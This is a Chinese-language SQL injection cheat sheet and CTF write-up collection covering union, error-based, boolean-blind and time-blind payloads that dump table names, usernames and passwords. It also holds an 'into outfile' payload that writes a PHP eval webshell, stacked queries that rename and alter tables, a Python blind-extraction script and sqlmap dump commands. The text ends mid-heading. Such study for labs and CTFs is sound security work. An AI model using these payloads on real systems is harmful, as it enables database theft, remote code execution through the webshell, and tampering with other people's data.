sql注入总结

sql注入就是在数据交互中,前端数据传到后台时没有做严格的判断,导致传进来的数据被拼接到sql语句中,被当作sql语句的一部分进行执行

注入时信息收集


mysql的版本5.0以上才有information_schema数据库

  • 信息收集:
    查询数据库 version()
    数据库名字 databaase()
    数据库用户 user()
    操作系统 @@version_compile_os

跨库查询:目标网站的同一个服务器中如果存在一个网站的数据库是使用root权限连接的,且存在sql注入漏洞,就会有被跨库攻击的风险。数据库名存放在information_schema.schemata表中的schema_name字段,查询方式和查表名一致

mysql基本知识

image-20240414154102699

mysql有个自带的数据库:information_schema,该数据库下面有表:tables和columns和schemata。
tables表中有个字段:table_name 是所有数据库存在的表名
columns表中有个字段:column_name 是所有列名
schemata表中:schema_name 是所有数据库名

1
2
3
4
SHOW TABLES FROM information_schema;

use database information_schema;
show tables;

image-20240414154730234

  • 注释:-- 空格#

  • SELECT

    1
    2
    3
    4
    5
    6
    7
    SELECT NOW(); //查时间
    SELECT DATABASE(); //查看当前数据库
    SELECT VERSION(); //查看版本
    SELECT USER(); //查看当前登录数据库的用户
    SELECT @@datadir; //查看数据路径
    SELECT @@basedir; //查看mysql安装路径
    SELECT @@version_compile_os; //查看mysql安装的系统

注入点类型判断

  • 数字型
  • 字符型
    数字型判断
    当输入的参 x 为整型时,通常 abc.php 中 Sql 语句类型大致如下:
    select * from <表名> where id = x
    这种类型可以使用经典的 and 1=1 和 and 1=2 来判断:
  • Url 地址中输入/abc.php?id= x and 1=1 页面依旧运行正常
  • Url 地址中继续输入 /abc.php?id= x and 1=2 页面运行错误,则说明此 Sql 注入为数字型注入。

原因如下:
当输入 and 1=1时,后台执行 Sql 语句:
select * from <表名> where id = x and 1=1
没有语法错误且逻辑判断为正确,所以返回正常
当输入 and 1=2时,后台执行 Sql 语句:
select * from <表名> where id = x and 1=2
没有语法错误但是逻辑判断为假,所以返回错误
我们再使用假设法:如果这是字符型注入的话,我们输入以上语句之后应该出现如下情况:
select * from <表名> where id = 'x and 1=1'
select * from <表名> where id = 'x and 1=2'
查询语句将 and 语句全部转换为了字符串,并没有进行 and 的逻辑判断,所以不会出现以上结果,故假设是不成立的。

字符型判断

  • Url 地址中输入 /abc.php?id= x' and '1'='1 页面运行正常
  • Url 地址中继续输入 /abc.php?id= x' and '1'='2 页面运行错误,则说明此 Sql 注入为字符型注入。
    同样可以使用假设法来验证

联合注入

以下是字符型的情况:
1、判断列数
?id=1'order by 3 --+
2、判断显示位,就是看哪一列会显示在屏幕上
?id=-1'union select 1,2,3--+
3、数据库名
?id=-1'union select 1,database(),3--+
4、该数据库下的表名

1
?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

5、待查表的字段名

1
?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security'and table_name='users'--+

6、数据
?id=-1' union select 1,2,group_concat(username ,id , password) from users--+

报错注入

  • updatexml()是更新xml文档的函数

语法:updatexml(目标xml内容,xml文档路径,更新的内容)
updatexml(1,concat(0x7e,(select database()),0x7e),1)
实际上这里是去更新xml文档,但是我们在xml文档路径的位置里面写入了子查询,我们输入了特殊字符,因为不符合输入规则所以报错,但是报错的时候其实已经执行了子查询语句,并从报错信息中显示出来

数据库名
?id=1' or updatexml(1,concat('~',(select database()),'~'),1) --+
表名

1
?id=1' or updatexml(1,concat('~',(select table_name from information_schema.tables where table_schema='security' limit 3,1),'~'),1) --+

字段

1
?id=1' or updatexml(1,concat('~',(select column_name from information_schema.columns where table_schema='security'and table_name='users' limit 1,1),'~'),1) --+

数据

1
?id=1' or updatexml(1,concat('~',(select password from users limit 0,1),'~'),1) --+

ps:

  • 报错一般有长度限制,不能输出太长的数据,尽量不要使用group_concat()
  • 建议使用or,因为and如果两条语句有一条是false,就会判定为false,如果前面的条件不成立,后面的语句就不会执行
    报错注入显示不全问题解决

使用mid函数
?wllm=1' or updatexml(1,concat('~',mid((select group_concat(flag) from test_tb),1,31),'~'),1) --+
?wllm=1' or updatexml(1,concat('~',mid((select group_concat(flag) from test_tb),32,31),'~'),1) --+用mid函数包含查询内容,第二个参数规定开始位置,第三个参数是返回的字符个数

写入读取文件

在利用sql注入漏洞后期,最常用的就是通过mysql的file系列函数来进行读取敏感文件或者写入webshell,其中比较常用的函数有三个:
into dumpfile()、into outfile()、load_file()
这些都是需要设置secure_file_priv=,如果为空则可以指定任意目录,如果有设置等于某个路径就只能在这个路径下写入,如果为null则禁止导入导出功能
可以往里面写马

1
?id=1'))union select 1,"<?php @eval($_POST['attack']);?>",3 into outfile "D://phpStudy/PHPTutorial/WWW/sqli-labs-master/Less-7/shell.php" --+

也可以直接把想要查询的内容导出

1
?id=-1'))  union select 1,2,group_concat(username, "~",password) from users into outfile "D://phpStudy/PHPTutorial/WWW/sqli-labs-master/Less-7/outfile.txt" --+

常见写入文件问题:魔术引号开关
magic_quotes_gpc = On时,输入数据中含单引号(’)、双引号(”)、反斜线(\)与 NULL(NULL 字符)等字符,都会被加上反斜线,影响文件路径
解决方式:16进制编码

布尔盲注

没有显错位的时候可以尝试使用盲注的方式
下面介绍一些盲注相关的函数
length():返回字符串的长度
substr():截取字符串
ascii():返回字符的ascii码
sleep():将程序挂起一段时间
if(1,2,3):判断1成立就执行2,不成立就执行3

数据库长度
?id=1'and (length(database()))=1 --+

数据库名称
?id=1'and ascii(substr(database(),1,1))=100 --+

表名

1
?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 3,1),1,1))=117 --+

字段名

1
?id=1'and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))=105--+
1
?id=1'and substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1)='i' --+

可以使用字符判断也可以使用字符本身,每个字段名会被隔开,所以中间会有不在a~z范围内的,当然也可以一个一个查

数据

1
?id=1' and ascii(substr((select group_concat(username,password) from users),1,1))>50--+

时间盲注

如果输入什么,页面回显都不变可以考虑使用时间盲注
判断参数构造
?id=1' and if(1=1,sleep(5),1)--+

库名长度
?id=1'and if(length((select database()))=8,sleep(5),1)--+

数据库名称
?id=1'and if(ascii(substr((select database()),1,1))=115,sleep(5),1)--+

表名

1
?id=1'and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))=100,sleep(5),1)--+

字段名

1
?id=1'and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))=100,sleep(5),1)--+

数据

1
?id=1' and if(ascii(substr((select username from users),1,1))=100,sleep(5),1)--+

post型

万能密码:’or 1=1 #

联合注入

判断列数
' or 1=1 order by 3#
判断显示位
' union select 1,2 #
后面和get型相同
‘union select 1,database()#

参数类型

数字型、字符型,括号尝试
搜索框中参数可能是'%查询%'这样的,所以要%的闭合

[强网杯 2019]随便注

1’ and 1=1 –+
1’ and 1=2 –+
判断出存在sql注入
1’order by 3 –+ //判断列数是2
1’union select 1,2 –+ //尝试联合注入
回显内容:

1
return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);

尝试堆叠注入
1’;show databases; –+
由上面可知,extractvalue没有被过滤
1' and extractvalue(1,concat(0x7e,database(),0x7e)) --+ //显示现在访问的数据库名称

1
error 1105 : XPATH syntax error: '~supersqli~'

是flag所在的数据库,所以直接查看表名
0’; show tables; #
两个表:words、1919810931114514
1’; show columns from words; #
1’; show columns from 1919810931114514; # //表名是数字的用反引号包裹
words:

1919810931114514:

我们需要读取的是第二个表内的flag字段的内容,所以思路是:
查询是在words中查询id的,所以我们将表1919810931114514改名为words,将words改名为其余的名字。同时将flag属性改名为id属性,类型为varchar(100)

1
0';rename table `words` to words2;rename table `1919810931114514` to words;alter table words change flag id varchar(100);#

第二种方法

1
1';SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#

在SQL语句中使用了一个变量@a,并将一个十六进制值赋给了这个变量,使用了prepare语句,将之前赋值给变量@a的十六进制值转换为可执行的SQL语句,执行之前准备好的SQL语句
prepare from是预处理语句,会进行编码转换
execute用来执行由SQLPrepare创建的SQL语句

第三种方法:

1
1'; handler `1919810931114514` open as `a`; handler `a` read next;#

将表名1919810931114514通过别名a的方式打开,以别名a的形式读取下一条记录

[CISCN2019 华北赛区 Day2 Web1]Hack World

输入1或2都有回显,输入其他的会显示error,那么先试一下万能密码1'or 1=1 #,发现回显sql注入检查,所以是有过滤,fuzz测试一下

这些长度一样的都是被过滤的,–+和#都被过滤了
输入1’,回显bool(false),说明提示布尔盲注,两个新姿势:

1
2
if(1=1,1,2):若第一个成立就指向第二个
0^1:mysql里是亦或

空格被过滤,所以用()代替
然后就是编写脚本了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import requests
import time
import re
url='http://7b7b80d0-9cb2-4722-aaf7-b1c57e676401.node4.buuoj.cn:81/index.php'
flag = ''
for i in range(1,43): //range左边是不等于,所以循环42次
max = 127
min = 0
for c in range(0,127): //理论上大于最多次二分查找就行
s = (int)((max+min)/2) //转换为整数,直接舍去小数部分,用于下方的比较
payload = '0^(ascii(substr((select(flag)from(flag)),'+str(i)+',1))>'+str(s)+')' //str(i)转换为字符串,+是字符串拼接运算符
r = requests.post(url,data = {'id':payload}) //发送POST请求,其中id 是传递SQL注入负载的参数名
time.sleep(0.005) //添加短暂的延迟,避免频繁请求导致触发安全机制
if 'Hello, glzjin wants a girlfriend.' in str(r.content): //响应内容通常以字节流(bytes)的形式返回,将其转换为字符串以便进行文本匹配和处理
min=s
else:
max=s
if((max-min)<=1):
flag+=chr(max) //转换为字符形式
print(flag)
break

or updatexml(1,concat(‘‘,(select group_concat(table_name) from information_schema.tables where table_schema=’fakebook’ ),’‘),1)
?id=1’ or updatexml(1,concat(‘‘,(select group_conca(column_name) from information_schema.columns where table_schema=’fakebook’and table_name=’users’ ),’‘),1) –+
or updatexml(1,concat(‘‘,(select left(passwd,30) from users ),’‘),1) –+

sqlmap使用

1、查询数据库 sqltest
一定要跟上注入点的url
python sqlmap.py -u "http://127.0.0.1/sqls/?id=2" --current-db

2、查数据表
python sqlmap.py -u "http://127.0.0.1/sqls/?id=2" -D sqltest --tables

3、查数据列
python sqlmap.py -u "http://127.0.0.1/sqls/?id=2" -D sqltest -T admin --columns

4、查数据
python sqlmap.py -u "http://127.0.0.1/sqls/?id=2" -D sqltest -T admin -C user,pwd --dump
//–后面跟待查内容,current-db整体代表当前数据库,–batch:无交互行为

NoSQLAttack是一个python编写的专门用于对MongoDB数据库进行SQL注入的渗透测试工具,非常简单好用,并且极大的弥补了sqlmap的不足(sqlmap不能对MongoDB数据库进行渗透)

相关防注入:
自带防御:魔术引号
内置函数: int等
自定义关键字: select
WAF防护软件:安全狗,宝塔

请求方式request既可以接收get也可以接收post
get、request、post、cookies、http头部($_SERVER全局变量)、json数据格式请求

$_SERVER用法
如果使用这个变量接收了用户的信息,并带入数据库查询,就可能存在注入漏洞
$_SERVER['HTTP_USER_AGENT'] //当前请求的 User_Agent: 头部的内容,注入点在http请求头的User_Agent
json就是和参数=值的表达类型不一样而已

1
2
3
4
5
6
7
a=1' and 1=1 &b=1&c=1
json:
{
"a":"1 and 1=1"
"b":"1"
"c":"1"
} //不用考虑"闭合,要看参数值的类型来猜测需不需要闭合' "

SELECT * FROM users WHERE username= ‘{$username}’,{是格式,只要闭合’

其他数据库

注入流程: